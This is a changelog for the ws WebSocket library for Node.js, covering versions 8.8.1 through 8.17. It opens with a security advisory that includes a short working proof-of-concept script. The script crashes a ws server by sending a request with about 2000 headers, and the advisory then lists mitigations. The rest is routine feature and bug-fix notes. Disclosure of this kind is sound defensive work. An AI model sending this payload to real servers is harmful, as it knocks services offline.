Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

  • Fixed an issue that allowed errors thrown by failed assertions to be
    swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

  • Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

  • The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
  • The socket argument of server.handleUpgrade() can now be a generic
    Duplex stream (#​2165).

Other notable changes

  • At most one event per microtask is now emitted (#​2160).

v8.13.0

Compare Source

Features

  • Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

Compare Source

Bug fixes

  • Added browser condition to package.json (#​2118).

v8.12.0

Compare Source

Features

  • Added support for utf-8-validate@6 (ff63bba).

Other notable changes

v8.11.0

Compare Source

Features

  • WebSocket.prototype.addEventListener() now supports an event listener
    specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

  • WebSocket.prototype.addEventListener() now adds an event listener only if it
    is not already in the list of the event listeners for the specified event type
    (1cec17d).

v8.10.0

Compare Source

Features

  • Added an export for package.json (211d5d3).

v8.9.0

Compare Source

Features

  • Added the ability to connect to Windows named pipes (#​2079).

v8.8.1

Compare Source

Bug fixes

  • The Authorization and Cookie headers are no longer sent if the original
    request for the opening handshake is sent to an IPC server and the client is
    redirected to another IPC server (bc8bd34).
